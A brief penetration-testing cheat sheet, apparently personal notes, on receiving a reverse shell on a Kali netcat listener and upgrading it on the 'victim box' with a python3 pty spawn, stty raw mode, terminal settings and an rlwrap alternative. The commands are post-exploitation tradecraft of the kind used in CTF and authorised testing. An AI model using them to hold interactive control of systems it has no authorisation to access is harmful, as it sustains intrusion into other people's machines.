# on kali
nc -vlnp 5555
## wait for the reverse shell prompt to initiate
# on victim box
which python3
python3 -c 'import pty;pty.spawn("/bin/bash")'
Ctrl+z
# on kali
stty raw -echo; fg
# on victim box
export TERM=xterm # this may not be required
stty cols 132 rows 34 # optional; accommodates more text
Use rlwrap
when you don't want to use the python trick or if python is not available. rlwrap
does not work nicely with the pyton trick. So don't use both together.
# on kali
rlwrap nc -vlnp 5555
## wait for the reverse shell prompt to initiate
# on victim box
## arrow keys and ctrl-l will now work
vim does not work with rlwrap